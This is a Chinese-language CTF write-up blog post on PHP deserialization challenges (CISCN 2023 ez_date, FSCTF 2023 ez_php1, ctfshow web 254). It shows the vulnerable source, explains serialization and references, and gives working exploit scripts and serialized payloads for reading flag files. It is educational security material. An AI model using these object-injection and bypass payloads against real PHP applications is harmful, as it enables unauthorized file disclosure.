CTF反序列化wp(ciscn,nss,ctfshowweb入門)

Sol_9發表於2024-06-14

[CISCN 2023 華北]ez_date

題目:

<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code']));
  • unserialize呼叫__wakeup()

  • if(is_array($this->a)||is_array($this->b))
        
    #禁用了陣列繞過
    #這裡直接讓a=1,b='1',就可以繞過三個條件,這倆md5和sha1都是一樣的
    
  • $content=date($this->file);
    
    #  $content接受經過被date函式格式化後的變數file
    #	date()的說明:
    #	該方法會檢測傳入的字串中是否有特定的格式化字元,如Y(年份)、m(月份)、d(天)、H(時)、i(分鐘)、s(秒)等
    #    檢測存在則會將格式化字元替換為當前時間的對應部分,否則將字元進行原樣輸出,同時可用跳脫字元將格式化字元原樣輸出
    
  • $uuid=uniqid().'.txt';
    
    # uniqid()生成一個時間戳,將生成的時間戳拼接.txt給$uuid
    
  • $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
    
  1. 開頭的“/”和i前的“\”表示正規表示式語法的開始和結束
  2. (\s)* :匹配零個或多個空白字元(空格、製表符等)
  3. (\n)+ :匹配一個或多個換行符
  4. (\s)* :再次匹配零個或多個空白字元
  5. i :修飾符,表示不區分大小寫

正規表示式會將上述空白字元和換行符都替換為空字串。

  •  file_put_contents($uuid,$content);
    

    說明:

    file_put_contents($uuid, $content); 是 PHP 中的一個函式呼叫,用於將一個字串(內容)寫入到一個檔案中。這個函式簡化了檔案開啟、寫入和關閉的過程。這裡是這個函式的基本解釋和引數說明:

    • file_put_contents($filename, $data, $flags = 0, $context = null)
      • $filename ($uuid 在此例中):你希望寫入內容的檔案路徑和名稱。在這個例子中,$uuid 應該是一個包含唯一識別符號(由 uniqid() 生成)加上 .txt 副檔名的字串,用於建立或覆蓋一個具有唯一名稱的檔案。
      • $data ($content 在此例中):你要寫入檔案的資料,可以是任何字串。
      • $flags:這是一個可選引數,用於指定如何寫入資料,比如 FILE_APPEND 可以用於在檔案末尾追加內容而不是覆蓋。預設是 0,表示覆蓋模式寫入。
      • $context:也是一個可選引數,通常用於提供特定的上下文選項,比如HTTP、FTP等上下文。在大多數情況下,這個引數不需要設定。

    所以,file_put_contents($uuid, $content); 這行程式碼的作用是把變數$content中儲存的字串資料寫入到一個新建立的、以其UUID為名字(加上.txt字尾)的檔案中。如果檔案已存在,它將被覆蓋;如果要追加內容而不是覆蓋,可以傳遞 FILE_APPEND 作為第三個引數。

  • <?php
    $c='/flag';
    print(date($c));
    ?>
    

    執行一下得到/fThursdaypm11,date()會把特定字元格式化為當前時間戳,比如這裡,把l換成了星期四Thursday a 換成了pm g換成了時間11

    解決方法:跳脫字元\繞過: /f\l\a\g

get方式把base64編碼後的序列化字串用code傳進去就拿到flag了

[FSCTF 2023]ez_php1

第一關

弱比較隨便繞

 <?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
    echo "!!!";
    $c = $_POST['FL_AG'];
    if(isset($c))
    {
        if (preg_match('/^.*(flag).*$/', $ja)) {
            echo 'You are bad guy!!!';
        }
            else {
                echo "Congratulation!!";
                echo $hint1;
            }
    }
    else {
        echo "Please input my love FL_AG";
    }
} else{
    die("game over!");
}
?>
game over!

拿到下一關的目錄L0vey0U.php

第二關

 <?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{
    echo "$hint2";
}
?>
flag{This_is_fake_flag}

把key序列化一下s:10:"YES I love"; ,然後GET方式傳進去拿到下一關的目錄P0int.php

第三關

<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
@unserialize($_POST['data']);

?> 

這裡有unserialize反序列化,要想反序列化就得先明白序列化。

序列化

在各類語言中,將物件的狀態資訊轉換為可儲存或可傳輸的過程就是序列化,序列化的逆過程就是便是反序列化,主要是為了方便物件傳輸。所以當我們把一段php程式碼序列化之後,透過GET or POST方法傳進去,php引擎是可以透過unserialize函式讀取的
PHP基本型別的序列化

bool:  b:value =>b:0
int:   i:value=>i:1
str:   s:length:“value”;=>s:4"aaaa"
array :a:<length>:{key:value pairs};=>a:{i:1;s:1:“a”}
object:O:<class_name_length>:
NULL:  N

序列化前

<?php
class test{
	public $a=false;
	public $b=3;
	public $c='hello';
	public $d=array(1,2,3,'hello');
	public $e=NULL;
}
$test = new test;
echo serialize($test);
?>

序列化後

O:4:“test”:5:{s:1:“a”;b:0;s:1:“b”;i:3;s:1:“c”;s:5:“hello”;s:1:“d”;a:4:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;s:5:“hello”;}s:1:“e”;N;}

R與r

當兩個物件本來就是同一個物件時會出現的物件將會以小寫r表示。
不過基礎型別不受此條件限制,總是會被序列化

為什麼?(看完“分析”以後再看這裡)

<?php
$x = new stdClass;
$x->a = 1; $x->b = $x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";i:1;} // 基礎型別
$y = new stdClass;
$x->a = $y; $x->b = $y;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";O:8:"stdClass":0:{}s:1:"b";r:2;}
// id(a) == id(b),二者都是$y;
$x->a = $x; $x->b = $x;
// O:8:"stdClass":2:{s:1:"a";r:1;s:1:"b";r:1;}

而當PHP中的一個物件如果是對另一物件顯式的引用,那麼在同時對它們進行序列化時將透過大寫R表示

<?php
$x = new stdClass;
$x->a = 1;
$x->b = &$x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";R:2;}

魔術方法

這裡用到了php魔術方法,簡單概括就是當對某個物件進行某種操作(建立,銷燬等)時,就會自動呼叫魔術方法

eg:例如題目中有一個類名為Clazz的class類,比如當我們unserialize了一個Clazz,在這之前會呼叫__wakeup,在這之後會呼叫 destruct

exp:

<?php 
class Clazz
{
    public $a;
    public $b;
 
    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
$a=new Clazz();
$a->b=&$a->a;
echo serialize($a);
?> 

序列化後得到payload:O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

R為2代表是第二個反序列化元素被引用

POST方法傳進data就拿到了base64的flagPD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=

<?
$FLAG= "FLAG{y0u_are_l0ve!!!!}"
?>
<?php
class Clazz
{
    public $a;
    public $b;
} 
$C=new Clazz();
$C->b=&$C->a;
echo serialize($C);

這樣寫exp也是可以的,在exp裡我們只需要讓b成為a的引用,讓b和a的記憶體地址是一樣的。

當我們把payload傳進data之後,在@unserialize($_POST['data'])前會呼叫wakeup魔術方法,然後flag會傳進a的記憶體地址,然後在序列化過程中將屬性b設定為屬性a的應用,然後就就會呼叫destruct魔術方法echo出b

這裡的 @ 字首作用如下:

  1. 抑制錯誤:如果 unserialize($_POST['data']) 在執行過程中遇到錯誤(如序列化資料格式不正確、類不存在、魔術方法引發的異常等),@ 運算子會阻止這些錯誤資訊被輸出到瀏覽器或日誌中。這對於攻擊者來說可能是有利的,因為他們可以隱藏其攻擊嘗試的痕跡,避免被管理員或其他監控系統檢測到。
  2. 繼續執行:即使 unserialize() 函式內部發生了錯誤,由於錯誤被抑制,程式不會立即停止執行。這使得攻擊者有機會嘗試多種不同的攻擊載荷,而不必擔心單次嘗試失敗導致整個請求中斷。
  3. 安全風險:使用 @ 錯誤抑制符可能導致安全問題難以被及時發現和修復。由於錯誤資訊被隱藏,管理員可能無法意識到系統存在潛在的反序列化攻擊或其他安全漏洞。此外,攻擊者也可能利用 @ 運算子掩蓋其利用反序列化漏洞執行惡意程式碼的過程。

CTFSHOWweb入門254

題目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

解題思路:

  1. 觸發vipOneKeyGetFlag
  2. $this->isVip為真

這題目跟反序列化沒關係,主要是考驗對程式碼邏輯是否清晰,怎麼呼叫的

只需要/?username=xxxxxx&password=xxxxxx

相關文章